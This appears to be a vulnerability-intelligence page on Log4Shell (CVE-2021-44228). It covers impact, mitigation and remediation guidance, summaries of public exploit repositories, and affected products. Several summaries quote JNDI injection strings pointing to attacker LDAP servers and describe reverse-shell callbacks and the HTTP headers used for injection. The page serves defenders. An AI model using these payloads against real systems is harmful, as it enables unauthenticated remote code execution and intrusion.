Skip to main content
Mallory
CriticalExploited in the wildCISA KEVPublic exploitVulnerability

CVE-2021-44228: Log4Shell

Published Dec 10, 2021 · Updated today
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 days32 mentions · peak 10 in a dayToday
CVSS10.0Critical · v3.1
EPSS100.0%100th percentile
CISA KEVYesAdded Dec 10, 2021
In the wildActivePer CISA KEV
Vendors
SiemensNetAppCisco SystemsIntel CorporationDebian ProjectSonicwallFedora ProjectApache Software Foundation
IdentifiersCVE-2021-44228CWE-502 · Deserialization of Untrusted Data
Also known asapache_log4japache_log4j_rce

Log4Shell is a JNDI injection vulnerability in Apache Log4j 2 that can allow unauthenticated remote code execution when attacker-controlled text is logged. Vulnerable lookup processing interprets crafted log messages or parameters as JNDI expressions and contacts attacker-controlled LDAP or other naming-service endpoints, potentially retrieving and executing malicious Java code. Affected versions are 2.0-beta9 through 2.15.0, excluding security releases 2.12.2, 2.12.3, and 2.3.1. Message lookup substitution is disabled by default in 2.15.0, but that release's protections were incomplete. Message lookup functionality was removed in 2.16.0 and the corresponding security backports. The vulnerability affects log4j-core, not log4j-api alone, log4net, or log4cxx.

Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.
Check your exposure
Analyst brief

Impact, mitigation & remediation

What it means and what to do now: patch path, interim mitigations, and the assume-compromise checklist.

Impact

What an attacker gets, and what they’ve been doing with it.

Successful exploitation permits arbitrary code execution with the privileges of the affected Java application, potentially compromising system confidentiality, integrity, and availability. Consequences include sensitive-data exfiltration, credential theft, malware deployment, service disruption, and subsequent lateral movement. Applications running with administrative or root privileges can expose the entire host; exploitation of vulnerable VMware vCenter deployments has been associated with root command-shell access. Attacker-triggered JNDI lookups can also disclose information even where runtime restrictions prevent remote code loading. Log4Shell has been actively exploited, including in ransomware campaigns.

Mitigation

If you can’t patch tonight, do this now.

If patching cannot be completed immediately, follow current product-specific vendor workarounds. Removing the JndiLookup class from every affected log4j-core archive and restarting the application is a documented temporary measure. On applicable Log4j 2.10+ deployments, setting the JVM property log4j2.formatMsgNoLookups=true can mitigate the original message-lookup vector, but is not a comprehensive defense against related incomplete-fix vulnerabilities and is insufficient in some product configurations. Restrict outbound connections from affected applications, segment vulnerable services, minimize their network exposure, and run them without elevated privileges. WAF and IPS signatures provide supplemental protection but do not replace patching.

Remediation

Patch, then assume compromise.

Upgrade affected applications and all direct, transitive, shaded, and bundled log4j-core dependencies to a current supported security release compatible with the runtime, then rebuild and redeploy affected artifacts. For third-party appliances and commercial software, apply vendor-supported product fixes rather than independently replacing libraries unless explicitly instructed. Do not stop at Log4j 2.15.0: its initial fix was incomplete. Historical remediation baselines covering the subsequent 2021 Log4j issues include 2.17.1 for Java 8+, 2.12.4 for Java 7, and 2.3.2 for Java 6; these are not substitutes for selecting a currently supported release. Restart affected services and verify that vulnerable library copies are no longer loaded.

Public exploits

Exploits

81 exploits validated by Mallory's analysis. Hidden: 170 rejected by Mallory's analysis as not a working exploit; 10 not yet analyzed, such as Exploit-DB entries; 1 not loaded here. Showing the 25 most capable, earliest first.

View more in app →
log4shell_header_injection.rbThis repository contains a single Metasploit module: 'log4shell_header_injection.rb', which exploits the Log4Shell vulnerability (CVE-2021-44228) in Apache Log4j2. The module targets HTTP endpoints by injecting malicious JNDI payloads into HTTP headers, triggering vulnerable Log4j2 instances to connect back to attacker-controlled LDAP and HTTP servers. The exploit supports multiple targets: Java (automatic remote class loading), Windows (Meterpreter), and Linux (reverse bash shell), with payloads delivered via either remote class loading or Java deserialization gadget chains. The module is highly configurable, allowing the attacker to specify HTTP methods, headers, URIs, and payload types. It is weaponized, providing full remote code execution capabilities and is part of the Metasploit framework. The main endpoints involved are the target's HTTP interface, the attacker's LDAP server (default port 389), and the attacker's HTTP server (default port 8080) for payload delivery.Disclosed Dec 9, 2021 · Framework: metasploit · ruby · networkWeaponizedvmware_vcenter_log4shell.rbThis repository contains a single Metasploit exploit module targeting VMware vCenter Server instances vulnerable to Log4Shell (CVE-2021-44228). The exploit leverages unauthenticated JNDI injection via the vCenter logon page, causing the target to connect to an attacker-controlled LDAP server. The attacker delivers a serialized Java object that results in remote code execution as root (Linux) or SYSTEM (Windows). The module supports both Linux and Windows targets, with a default payload of a bash reverse shell for Linux. The code is written in Ruby and is structured as a standard Metasploit module, including options for target URI and payload configuration. The main attack vector is network-based, requiring access to the target's HTTP(S) interface and the ability to run an LDAP listener. The module is operational and can be used to achieve full remote code execution on vulnerable vCenter servers.Disclosed Dec 9, 2021 · Framework: metasploit · ruby · networkWeaponizedubiquiti_unifi_log4shell.rbThis repository contains a single Metasploit module targeting the Log4Shell (CVE-2021-44228) vulnerability in Ubiquiti UniFi Network Application versions 5.13.29 through 6.5.53. The exploit leverages a JNDI injection via the 'remember' field in a POST request to the /api/login endpoint, causing the vulnerable server to connect to an attacker-controlled LDAP server and deserialize a malicious Java object. This results in unauthenticated remote code execution on the target system. The module supports both Windows and Unix targets, with a default payload of a reverse bash shell for Unix. The code is structured as a typical Metasploit exploit module, including version checks, payload delivery, and session handling. The only file present is the exploit module itself, written in Ruby, and it is fully weaponized for operational use within the Metasploit framework.Disclosed Dec 9, 2021 · Framework: metasploit · ruby · networkWeaponizedmobileiron_core_log4shell.rbThis repository contains a single Metasploit module: 'modules/exploits/linux/http/mobileiron_core_log4shell.rb'. The module exploits the Log4Shell (CVE-2021-44228) vulnerability in MobileIron Core servers, allowing unauthenticated remote code execution via a JNDI injection. The exploit works by sending a crafted HTTP POST request to the '/mifs/j_spring_security_check' endpoint with a malicious JNDI string in the 'j_username' parameter. The module starts a local LDAP server (default port 389) to serve a serialized Java payload (CommonsBeanutils1 gadget) when the vulnerable server performs the JNDI lookup. If successful, the payload executes a reverse shell as the 'tomcat' user on the target. The module is weaponized, supports custom payloads, and is part of the Metasploit framework. The code is well-structured, leverages Metasploit's Log4Shell and HTTP client mixins, and includes options for target URI and ports. No hardcoded IPs or domains are present; endpoints are dynamically constructed based on user input.Disclosed Dec 12, 2021 · Framework: metasploit · ruby · networkWeaponizedlog4j2burpscannerThis repository is a Burp Suite extension (written in Java) designed to detect the log4j2 (CVE-2021-44228) vulnerability, also known as Log4Shell. The main file, src/burp/BurpExtender.java, implements the Burp extension interface and provides a GUI tab for results. Upon loading, it requests a unique DNS log domain and token from https://log.xn--9tr.com/new_gen, which are used to detect out-of-band callbacks triggered by successful exploitation attempts. The extension injects JNDI payloads into various HTTP headers (such as Cookie, X-Forwarded-For, User-Agent) and parameters in both GET and POST requests, supporting multiple data formats (URL-encoded, JSON, nested JSON). If the target is vulnerable, it will attempt to resolve the injected domain, which is then detected via the DNS log service. The plugin provides both automated scanning and manual testing capabilities within Burp Suite. The src/burp/test.java file contains test code for manipulating request bodies and generating payloads, but is not part of the main extension logic. The pom.xml file defines dependencies for building the extension, including Burp's API, OkHttp, Fastjson, and others. Overall, this repository provides a practical, operational exploit/detection tool for CVE-2021-44228, leveraging DNS-based out-of-band detection to confirm exploitation.Jeromeyoung · Disclosed Dec 12, 2021 · java · xml · networkOperationalpython-log4rceThis repository is a pure Python3 proof-of-concept exploit for CVE-2021-44228 (Log4Shell), targeting vulnerable Apache Log4j instances. The main exploit logic is implemented in 'log4rce.py', which provides a CLI for launching attacks via HTTP requests or manual payload delivery. The tool can start both HTTP and LDAP servers to serve malicious Java class files (provided in 'java/Exploit.java' and 'java/LinuxExploit.java'), which are dynamically injected with attacker-supplied commands. The exploit works by sending a JNDI payload to a vulnerable Log4j endpoint, causing the target to fetch and execute the attacker's Java class, resulting in remote code execution. The repository is well-structured, with clear separation between the exploit logic (Python) and payloads (Java). It allows for extensive customization of network settings and payloads, making it a flexible operational exploit for Log4Shell.alexandre-lavoie · Disclosed Dec 12, 2021 · python · java · networkOperationalCVE-2021-44228This repository contains a Java exploit payload designed to be delivered via the Log4j JNDI injection vulnerability (CVE-2021-44228), specifically targeting Minecraft game sessions running on vulnerable Java versions. The main file, rce_exploit_log4j.java, implements the ObjectFactory interface and is intended to be loaded through a JNDI/LDAP attack vector. Upon execution, the payload displays a warning message to the user, opens two URLs in the user's browser recommending updates to Forge and Java, and attempts to patch the JNDI context in the running Java process to prevent further exploitation of the vulnerability. The exploit is operational and demonstrates both code execution and in-memory patching capabilities. The README provides context and references but does not contain code. The exploit does not deliver a traditional shell or backdoor, but rather acts as a self-mitigating payload to prevent further exploitation.future-client · Disclosed Dec 12, 2021 · java · networkOperationallog4j-pocThis repository is a comprehensive proof-of-concept (PoC) and operational exploit environment for CVE-2021-44228 (Log4Shell), targeting vulnerable Apache Log4j2 instances in Java web applications (notably Tomcat 8.5.3 and 9.0.55). The structure includes multiple Dockerfiles and scripts to set up vulnerable servers and attack infrastructure, including LDAP and RMI servers for JNDI injection, and a vulnerable web application. The main exploit logic is implemented in Python (poc.py), which generates a Java reverse shell payload (Exploit.java), compiles it, and serves it via an LDAP or RMI server. The exploit is triggered by injecting a JNDI string (e.g., ${jndi:ldap://...}) into user-controllable fields (such as the username or User-Agent header) of the vulnerable web application. The repository also includes a detection script (log4j_rce_check.py) for identifying vulnerable endpoints. The exploit demonstrates multiple attack vectors: LDAP, RMI, and DNS exfiltration, and provides detailed instructions for setting up and running the attack scenarios using Docker Compose. The code is operational and can be used to achieve remote code execution (reverse shell) on vulnerable targets.cyberxml · Disclosed Dec 12, 2021 · python · java · network · http · ldapOperationalLog4J-CVE-2021-44228-RCEThis repository provides a Bash script (exploit.sh) that automates exploitation of the Log4Shell vulnerability (CVE-2021-44228) in Apache Log4j. The script prompts the user for a listening server (lhost), target URL, and a command to execute. It launches a local JNDIExploit LDAP server and crafts a malicious User-Agent header containing a JNDI LDAP reference pointing to the attacker's server, with the command to execute base64-encoded. The exploit is sent via a curl request to the target, which must be running a vulnerable Log4j instance that logs the User-Agent header. The repository also includes a brief README. The main exploit capability is remote code execution via JNDI injection. Notable endpoints include the attacker's LDAP server (port 1389), the JNDIExploit tool (port 9001), and the target's HTTP service. The structure is simple, with a single Bash script as the entry point.corneacristian · Disclosed Dec 12, 2021 · bash · networkOperationalLog4j2-CVE-2021-44228-revshellThis repository contains a single exploit script, Log4j2-revshell.py, and supporting documentation. The script is a Python-based exploit for the Apache Log4j2 JNDI injection vulnerability (CVE-2021-44228, also known as Log4Shell). It automates the process of generating a malicious Java class that opens a reverse shell, serving it via an HTTP server, and using the marshalsec jndi.LDAPRefServer to facilitate the JNDI injection. The script can operate in two modes: 'check' (to test if a target is vulnerable) and 'rev' (to obtain a reverse shell). The README provides detailed setup instructions, including requirements for Java 8 and marshalsec, and usage examples. The main attack vector is network-based, targeting HTTP endpoints of vulnerable Log4j2 applications. The exploit requires the attacker to control both an LDAP server (via marshalsec) and an HTTP server to deliver the payload, and to listen for the reverse shell connection. The repository is operational and provides a working exploit with a customizable payload.faisalfs10x · Disclosed Dec 14, 2021 · python · networkOperationallog4shell4shellThis repository provides a multi-purpose toolkit for testing, exploiting, and remediating the Log4Shell (CVE-2021-44228) vulnerability in Apache Log4j. The main script, 'log4shell4shell.sh', is a Bash-based multitool that can: - Scan Linux/macOS/Windows systems for vulnerable log4j JARs. - Attempt to fix vulnerable systems by removing the JndiLookup class or setting mitigation environment variables. - Launch a local vulnerable server (via Docker) for proof-of-concept testing. - Run attacks against specified targets, including delivering arbitrary commands or a reverse shell via JNDI/LDAP injection. - Integrate with external tools such as 'log4j-scan' for comprehensive scanning. - Download and run the JNDIExploit server to facilitate exploitation. The repository also includes a PowerShell script ('set_windows_fix.ps1') for Windows remediation and a helper script ('python_upgrader.sh') for upgrading Python versions on Linux/macOS. The toolkit is operational and provides both exploitation and remediation capabilities, making it suitable for red team, blue team, and educational use. The attack vector is primarily network-based (targeting HTTP(S) services), but local remediation and scanning are also supported. Several endpoints and file paths are fingerprintable, including example target URLs and mitigation registry keys.suuhm · Disclosed Dec 16, 2021 · bash · powershell · network · localOperationalLog4jCenterThis repository provides an automated exploit for CVE-2021-44228 (Log4Shell) targeting VMware vCenter appliances. The main exploit script (exploit.py) allows an attacker to either obtain a reverse shell on the target or exfiltrate the SAML signing database, which can be used for further privilege escalation. The exploit works by leveraging a malicious JNDI LDAP server (using the RogueJNDI tool as a submodule) to deliver a payload via a crafted HTTP request to the vCenter's SAML SSO endpoint. The repository includes a simple HTTP server (utils/httppost.py) to receive exfiltrated files. The exploit can be run directly or via Docker, and requires the attacker to specify the target IP, callback IP, and (for reverse shell) a port. The structure is clean, with clear separation between the main exploit logic, HTTP server for exfiltration, and third-party submodules for JNDI exploitation and SAML login. The exploit is operational and automates a complex attack chain, making it a practical tool for penetration testers.puzzlepeaches · Disclosed Dec 19, 2021 · python · dockerfile · networkOperationalLog4j-Scanner-ExploitThis repository contains a Bash script ('Log4Shell_Scanner_Exploit') and a README.md. The script is designed to scan and exploit the Log4Shell (CVE-2021-44228) vulnerability in remote Java applications using Apache Log4j 2.x. It requires a list of target URLs, an attacker-controlled LDAP server, and an HTTP server. The script injects a JNDI LDAP payload into various HTTP headers (X-Api-Version, User-Agent, X-Forwarded-For) and as a URL parameter, attempting to trigger the vulnerability. If the target is vulnerable, it will connect back to the attacker's LDAP server, which can then serve a payload (by default, a base64-encoded 'ifconfig' command). The README provides setup instructions for the LDAP and HTTP servers, usage examples, and clarifies that the payload can be modified for further exploitation. The script is operational and can be used for both detection and exploitation of Log4Shell in authorized penetration testing scenarios.julian911015 · Disclosed Dec 20, 2021 · bash · networkOperationalLog4jUnifiThis repository is an operational exploit for CVE-2021-44228 (Log4Shell) targeting the Unifi Network Application by Ubiquiti. The main exploit logic resides in 'exploit.py', which automates the process of exploiting the vulnerable log4j component in Unifi's web interface. The exploit works by starting a malicious JNDI LDAP server (using the RogueJNDI submodule), then sending a specially crafted JSON payload to the Unifi application's '/api/login' endpoint. This payload triggers the log4j vulnerability, causing the target to connect back to the attacker's LDAP server and execute a reverse shell command, giving the attacker remote shell access. The repository includes a Dockerfile for easy setup, a requirements.txt for Python dependencies, and a README.md with detailed usage instructions. The exploit requires the attacker to specify the target URL, their own callback IP, and port for the reverse shell. The main endpoints involved are the Unifi application's login API, the attacker's LDAP server, and the reverse shell listener. The exploit is not part of a larger framework and is a standalone operational tool.puzzlepeaches · Disclosed Dec 24, 2021 · python · dockerfile · networkOperationalVm4JThis repository is a C# Windows Forms application named 'Vm4J EXP' designed to exploit Log4j (Log4Shell) vulnerabilities in several VMware products, including vCenter, HCX, NSX, Horizon, and vRealize Operations Manager. The tool provides a GUI for selecting the target product, entering the target URL, and choosing from a variety of payloads (including command execution, reverse shell, DNS exfiltration, and memory shell injection). The core logic is implemented in the 'ExecPayload' directory, with a separate class for each supported VMware product, each containing methods to send crafted HTTP requests to product-specific endpoints. The payloads are injected into HTTP headers or parameters, leveraging JNDI injection to trigger remote code execution via Log4j vulnerabilities. The tool supports both 'blind' payloads (for OOB verification) and 'echo' payloads (for direct command output). The main entry point is 'Program.cs', which launches the GUI defined in 'Form1.cs'. The repository is operational and can be used to exploit vulnerable VMware instances if the correct conditions are met. No hardcoded IPs or domains are present; the user supplies the target and payload details at runtime.NS-Sp4ce · Disclosed Dec 28, 2021 · csharp · networkOperationalLog4jHorizonThis repository provides an automated exploit for CVE-2021-44228 (Log4Shell) specifically targeting VMWare Horizon servers. The main exploit script is 'exploit.py', which can be run directly or via Docker. The exploit leverages the Log4Shell vulnerability to either establish a reverse shell (using node.exe on the target) or install a persistent backdoor by modifying the 'absg-worker.js' file on the target system. The attack is performed by sending a specially crafted HTTP request to the '/portal/info.jsp' endpoint of the target, with a malicious JNDI LDAP reference in the 'Accept-Language' header. The exploit requires a callback IP (attacker-controlled) and optionally a port for the reverse shell. The repository includes a submodule for 'rogue-jndi', which is used to serve the malicious JNDI payloads. The exploit is operational and provides real post-exploitation access if successful. The README provides detailed usage instructions, including Docker support, and highlights the need for a listener on the attacker's side to catch the reverse shell. The code is focused, with clear entry points and modular functions for each exploitation method.puzzlepeaches · Disclosed Jan 5, 2022 · python · dockerfile · networkOperationallog4j-exploit-fork-bombThis repository is a proof-of-concept exploit for CVE-2021-44228 (Log4Shell), targeting vulnerable Java applications using Apache Log4j 2.x. The structure consists of three main modules: 'server' (malicious LDAP server), 'payload' (malicious Java class), and 'victim' (example vulnerable application). The server module sets up an LDAP server on port 1389, which responds to JNDI lookups with either a serialized message or a reference to a remote Java class. The payload module contains a Java class ('Exploit') that acts as a fork bomb, recursively spawning itself to exhaust system resources. The victim module demonstrates how a vulnerable application can be exploited by logging a specially crafted JNDI string. The exploit requires the target to be running a vulnerable Java version with the 'com.sun.jndi.ldap.object.trustURLCodebase' property set to true. The main attack vector is network-based, leveraging LDAP and JNDI to achieve remote code execution. Notable endpoints include the LDAP server (ldap://127.0.0.1:1389) and the remote URL hosting the malicious Java class.funcid · Disclosed Apr 15, 2023 · java · kotlin · networkOperationalTPASLog4ShellPoCThis repository is a comprehensive Proof of Concept (PoC) for the Log4Shell vulnerability (CVE-2021-44228) affecting Apache Log4j 2.14.1. It consists of a vulnerable Spring Boot backend (Java) that logs user input using Log4j, a React-based frontend simulating an e-commerce site, and attacker-side infrastructure setup scripts. The backend exposes REST API endpoints that log request data, making it susceptible to JNDI injection via user-supplied input (e.g., search queries or HTTP headers). The exploit is operationalized via the 'init.sh' script, which sets up an LDAP server (using a modified version of marshalsec's LDAPRefServer), an HTTP server to serve malicious Java classes, and generates a Java payload that opens a reverse shell to the attacker's netcat listener. The exploit is triggered by submitting a crafted JNDI payload (e.g., '${jndi:ldap://<attacker_host_ip>:<ldap_port>/Exploit}') to the vulnerable backend, causing it to fetch and execute the attacker's Java class, resulting in remote code execution. The repository also includes mechanisms to simulate WAF bypasses and toggling of log sanitization. The structure is modular, with clear separation between frontend, backend, LDAP server, and exploit payload generation.Carlos-Mesquita · Disclosed Oct 8, 2024 · java · typescript · networkOperationalCVE-2021-44228_dockernizeThis repository provides a complete, dockerized lab environment for demonstrating and testing the Log4Shell (CVE-2021-44228) vulnerability in Apache Log4j 2.14.0. The structure is divided into two main components: an 'attacker' directory containing a malicious LDAP server (attacker/ldap-server.js), an HTTP server (attacker/http-server.js), and a Java payload (attacker/Payload.java), and a 'vulnerable' directory containing a Java application (vulnerable/Main.java) configured with a vulnerable version of Log4j and a test Makefile to trigger the exploit. The exploit works by logging a specially crafted JNDI LDAP payload, which causes the vulnerable application to connect to the attacker's LDAP server (127.0.0.1:10000). The LDAP server responds with a reference to a malicious Java class hosted on the attacker's HTTP server (127.0.0.1:10001). The vulnerable application then loads and executes this class, which attempts to spawn a reverse shell. The repository is intended for educational and testing purposes, providing a safe environment to understand the mechanics of Log4Shell exploitation.qw3rtyou · Disclosed Feb 4, 2025 · java · javascript · networkOperationalhka-seminar-log4shellThis repository is a comprehensive demonstration environment for the Log4Shell vulnerability (CVE-2021-44228) in Apache Log4j. It consists of three main components: a vulnerable Java Spring Boot application (using Log4j 2.14.1), a malicious LDAP server (based on marshalsec), and a payload HTTP server that serves a Java class file. The exploit works by sending a specially crafted User-Agent header to the vulnerable app's HTTP endpoint, which is logged by Log4j. This triggers a JNDI LDAP lookup to the attacker's LDAP server, which then redirects the victim to download and execute a malicious Java class from the payload server. The payload demonstrates remote code execution by creating a file on the victim system. The repository uses Docker Compose to orchestrate the environment, making it easy to reproduce the exploit chain. The code is well-structured for educational purposes, with clear separation between the vulnerable app, the LDAP server, and the payload server.fabioeletto · Disclosed Jul 10, 2025 · java · bash · networkOperationallog4j-cve-2021-44228-This repository contains a Java class ('MyReverseShell') that, when loaded, executes a bash command to open a reverse shell to 172.20.10.11:4444. The payload is base64-encoded and decoded at runtime, then executed via /bin/bash. The exploit is designed to be used in the context of the Log4Shell (CVE-2021-44228) vulnerability, as described in the accompanying 'environment.md' file, which provides setup instructions for a vulnerable Apache Solr environment using Vulhub. The exploit's main capability is to provide remote shell access to an attacker by leveraging remote code execution on a vulnerable Java application. The repository is operational and provides a working reverse shell payload, but is not part of a larger exploit framework.Alan-coder-eng · Disclosed Jul 25, 2025 · java · networkOperationallog4shellThis repository is a comprehensive Proof-of-Concept (PoC) for exploiting the Log4Shell vulnerability (CVE-2021-44228) in Apache Log4j <= 2.14.1. The structure includes Dockerized environments for both the attacker and the victim. The victim is a Spring Boot Java application that logs user-supplied HTTP headers using a vulnerable Log4j version. The attacker setup consists of a Go-based server that provides both an LDAP and HTTP service, and a Java payload (Exploit.class) that spawns a reverse shell when loaded via JNDI. The exploit is triggered by sending a specially crafted HTTP request to the victim's /shuffle endpoint with a malicious X-Api-Version header containing a JNDI LDAP reference. The victim, upon logging this header, initiates a JNDI lookup to the attacker's LDAP server, which responds with a reference to the malicious Java class hosted on the attacker's HTTP server. When the victim loads this class, it executes code that connects back to the attacker, providing a root shell. The repository also includes scripts for building, running, exploiting, and patching the environment, as well as detailed documentation and remediation steps. The main exploit capabilities are unauthenticated remote code execution via network vectors, with clear, fingerprintable endpoints for both the attack and payload delivery.arabindadora · Disclosed Sep 29, 2025 · go · java · networkOperationalCVE-2021-44228-Apache-Log4j2This repository provides a working exploit for CVE-2021-44228 (Log4Shell), a critical remote code execution vulnerability in Apache Log4j versions 2.0-beta9 to 2.14.1. The main exploit component is Exploit.java, a Java class that, when loaded by a vulnerable Log4j instance via a JNDI LDAP lookup, opens a reverse shell from the target to the attacker's machine (host.docker.internal:9000). The repository includes a Dockerfile for running a vulnerable Java application, instructions for compiling the exploit, and steps to set up the necessary HTTP and LDAP servers to deliver the payload. The attack vector is network-based, leveraging JNDI lookups to load remote code. The README and markdown documentation provide clear setup and exploitation steps, including the use of marshalsec's LDAPRefServer and netcat for shell access. The repository is operational and demonstrates a full attack chain from vulnerability trigger to remote shell access.d4ngkh04w · Disclosed Oct 5, 2025 · java · dockerfile · networkOperationalLog4Shell-PoCRepository is a Log4Shell (CVE-2021-44228) proof-of-concept lab demonstrating JNDI injection leading to remote class loading and RCE. Structure/purpose: - VulnerableLog.java: victim-side Java program that logs user-controlled input with Log4j, serving as the sink to trigger JNDI lookups. - Exploit.java: attacker payload class; its static initializer executes immediately upon class loading and creates a reverse shell by spawning /bin/sh and connecting to 172.17.0.1:9001. - ldap_server.py: minimal/dummy LDAP listener on port 1389 intended to represent the LDAP referral component (the README primarily expects Marshalsec’s LDAPRefServer for real referrals). - LdapServer.java: attempts to provide a dummy LDAP server but is non-functional as written (it repeatedly tries to create new ServerSockets inside the accept loop rather than handling client sockets). - README.md: detailed lab instructions describing the intended 3-part attacker infrastructure (LDAP referral on 1389, HTTP payload hosting on 8888, netcat listener on 9001) and victim execution flags enabling the vulnerable behavior. Exploit flow/capabilities: 1) Victim runs Log4j 2.14.1 with lookups enabled and trustURLCodebase enabled. 2) User input contains a JNDI LDAP URL (e.g., ${jndi:ldap://172.17.0.1:1389/Exploit}). 3) LDAP referral redirects the JVM to an HTTP codebase (http://172.17.0.1:8888/#Exploit) to fetch the class. 4) Exploit.class loads; static initializer runs and establishes a reverse shell to 172.17.0.1:9001. Overall, this is an operational PoC lab (not a scanner) with a hardcoded callback endpoint and a basic reverse-shell payload, designed for controlled Docker/internal-network demonstrations.JoseMariaMicoli · Disclosed Jan 14, 2026 · java · python · network (JNDI injection via LDAP referral leading to remote class loading over HTTP and RCE)OperationalCVE-2021-44228Small standalone Log4Shell exploit repository containing two code files and one documentation file. Log4shell.py is the main entry point: a Python PoC that sends HTTP GET requests to a supplied target URL with the JNDI LDAP payload embedded in multiple common HTTP headers (User-Agent, X-Forwarded-For, X-Real-IP, Referer, X-Api-Version, X-Forwarded-Host, X-Client-IP, X-Original-URL, X-Originating-IP). Its purpose is to maximize the chance that at least one attacker-controlled header is logged by a vulnerable application. The payload directs the target to an attacker LDAP server on port 1389 by default and references /Exploit as the remote object name. Exploit.java is the second-stage malicious Java class intended to be loaded by the vulnerable target JVM after the JNDI lookup. Its static initializer immediately executes a command upon class loading. The included example command launches a bash reverse shell back to ATTACKER_IP:4444 using /dev/tcp; a commented alternative simply touches /tmp/pwned_by_log4shell as a benign proof of code execution. This confirms the repository is not just a scanner: it is an actual exploitation chain for remote code execution. README.md provides background on CVE-2021-44228, affected Log4j versions, exploitation mechanics, impact, and mitigations. Overall, the repository is a basic but functional operational PoC for exploiting Apache Log4j 2 Log4Shell over the network, relying on attacker-hosted LDAP/class-serving infrastructure and a hardcoded Java payload.0xBlackash · Disclosed Feb 26, 2026 · java · python · network · webOperational
Exposure surface

Affected products & vendors

Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.

VendorProductType
Apache Software FoundationLog4japplication
AppleXcodeapplication
BentleySynchroapplication
BentleySynchro 4dapplication
Cisco SystemsAdvanced Malware Protection Virtual Private Cloud Applianceapplication
Cisco SystemsAutomated Subsea Tuningapplication
Cisco SystemsBroadworksapplication
Cisco SystemsBusiness Process Automationapplication
Cisco SystemsCisco Unified Communications Managerapplication
Cisco SystemsCloud Connectapplication
Cisco SystemsCloudcenterapplication
Cisco SystemsCloudcenter Cost Optimizerapplication
Cisco SystemsCloudcenter Suiteapplication
Cisco SystemsCloudcenter Suite Adminapplication
Cisco SystemsCloudcenter Workload Managerapplication
Cisco SystemsCommon Services Platform Collectorapplication
Cisco SystemsConnected Analytics For Network Deploymentapplication
Cisco SystemsConnected Mobile Experiencesapplication
Cisco SystemsContact Center Domain Managerapplication
Cisco SystemsContact Center Management Portalapplication
Cisco SystemsCrosswork Data Gatewayapplication
Cisco SystemsCrosswork Network Automationapplication
Cisco SystemsCrosswork Network Controllerapplication
Cisco SystemsCrosswork Optimization Engineapplication
Cisco SystemsCrosswork Platform Infrastructureapplication
Cisco SystemsCrosswork Zero Touch Provisioningapplication
Cisco SystemsCustomer Experience Cloud Agentapplication
Cisco SystemsCx Cloud Agentapplication
Cisco SystemsCyber Visionapplication
Cisco SystemsCyber Vision Sensor Management Extensionapplication
Cisco SystemsData Center Network Managerapplication
Cisco SystemsDna Centerapplication
Cisco SystemsDna Spacesapplication
Cisco SystemsDna Spaces Connectorapplication
Cisco SystemsDna Spaces: Connectorapplication
Cisco SystemsEmergency Responderapplication
Cisco SystemsEnterprise Chat And Emailapplication
Cisco SystemsEvolved Programmable Network Managerapplication
Cisco SystemsFinesseapplication
Cisco SystemsFirepower Threat Defenseapplication
Cisco SystemsFog Directorapplication
Cisco SystemsFxosoperating_system
Cisco SystemsIdentity Services Engineapplication
Cisco SystemsIntegrated Management Controller Supervisorapplication
Cisco SystemsIntersight Virtual Applianceapplication
Cisco SystemsIot Operations Dashboardapplication
Cisco SystemsMobility Services Engineapplication
Cisco SystemsNetwork Assurance Engineapplication
Cisco SystemsNetwork Dashboard Fabric Controllerapplication
Cisco SystemsNetwork Insights For Data Centerapplication
Cisco SystemsNetwork Services Orchestratorapplication
Cisco SystemsNexus Dashboardapplication
Cisco SystemsNexus Insightsapplication
Cisco SystemsOptical Network Controllerapplication
Cisco SystemsPackaged Contact Center Enterpriseapplication
Cisco SystemsPaging Serverapplication
Cisco SystemsPrime Service Catalogapplication
Cisco SystemsSd-Wan Vmanageapplication
Cisco SystemsSecure Firewall Threat Defenseapplication
Cisco SystemsSmart Phyapplication
Cisco SystemsUcs Centralapplication
Cisco SystemsUcs Central Softwareapplication
Cisco SystemsUcs Directorapplication
Cisco SystemsUnified Communications Manager Im & Presence Serviceapplication
Cisco SystemsUnified Communications Manager Im And Presence Serviceapplication
Cisco SystemsUnified Computing Systemapplication
Cisco SystemsUnified Contact Center Enterpriseapplication
Cisco SystemsUnified Contact Center Expressapplication
Cisco SystemsUnified Contact Center Management Portalapplication
Cisco SystemsUnified Customer Voice Portalapplication
Cisco SystemsUnified Intelligence Centerapplication
Cisco SystemsUnified Sip Proxyapplication
Cisco SystemsUnified Workforce Optimizationapplication
Cisco SystemsUnity Connectionapplication
Cisco SystemsVideo Surveillance Managerapplication
Cisco SystemsVideo Surveillance Operations Managerapplication
Cisco SystemsVirtual Topology Systemapplication
Cisco SystemsVirtualized Infrastructure Managerapplication
Cisco SystemsVirtualized Voice Browserapplication
Cisco SystemsWan Automation Engineapplication
Cisco SystemsWebex Meetings Serverapplication
Cisco SystemsWorkload Optimization Managerapplication
Debian ProjectDebian Linuxoperating_system
Fedora ProjectFedoraoperating_system
Intel CorporationComputer Vision Annotation Toolapplication
Intel CorporationDatacenter Managerapplication
Intel CorporationGenomics Kernel Libraryapplication
Intel CorporationOneapi Sample Browserapplication
Intel CorporationSecure Device Onboardapplication
Intel CorporationSystem Studioapplication
NetAppActiveiq Unified Managerapplication
NetAppBrocade San Navigatorapplication
NetAppCloud Insightsapplication
NetAppCloud Managerapplication
NetAppCloud Secure Agentapplication
NetAppOncommand Insightapplication
NetAppOntap Toolsapplication
NetAppSnapcenterapplication
NetAppSolidfire & Hci Storage Nodeapplication
NetAppSolidfire Enterprise Sdsapplication
PercussionRhythmyxapplication
Siemens6bk1602-0aa12-0tp0 Firmwareoperating_system
Siemens6bk1602-0aa22-0tp0 Firmwareoperating_system
Siemens6bk1602-0aa32-0tp0 Firmwareoperating_system
Siemens6bk1602-0aa42-0tp0 Firmwareoperating_system
Siemens6bk1602-0aa52-0tp0 Firmwareoperating_system
SiemensCapitalapplication
SiemensComosapplication
SiemensDesigo Cc Advanced Reportsapplication
SiemensDesigo Cc Info Centerapplication
SiemensE-Car Operation Centerapplication
SiemensEnergy Engageapplication
SiemensEnergyipapplication
SiemensEnergyip Prepayapplication
SiemensGma-Managerapplication
SiemensHead-End System Universal Device Integration Systemapplication
SiemensIndustrial Edge Managementoperating_system
SiemensIndustrial Edge Management Hubapplication
SiemensLogo! Soft Comfortapplication
SiemensMendixapplication
SiemensMindsphereapplication
SiemensNavigatorapplication
SiemensNxoperating_system
SiemensOpcenter Intelligenceapplication
SiemensOperation Schedulerapplication
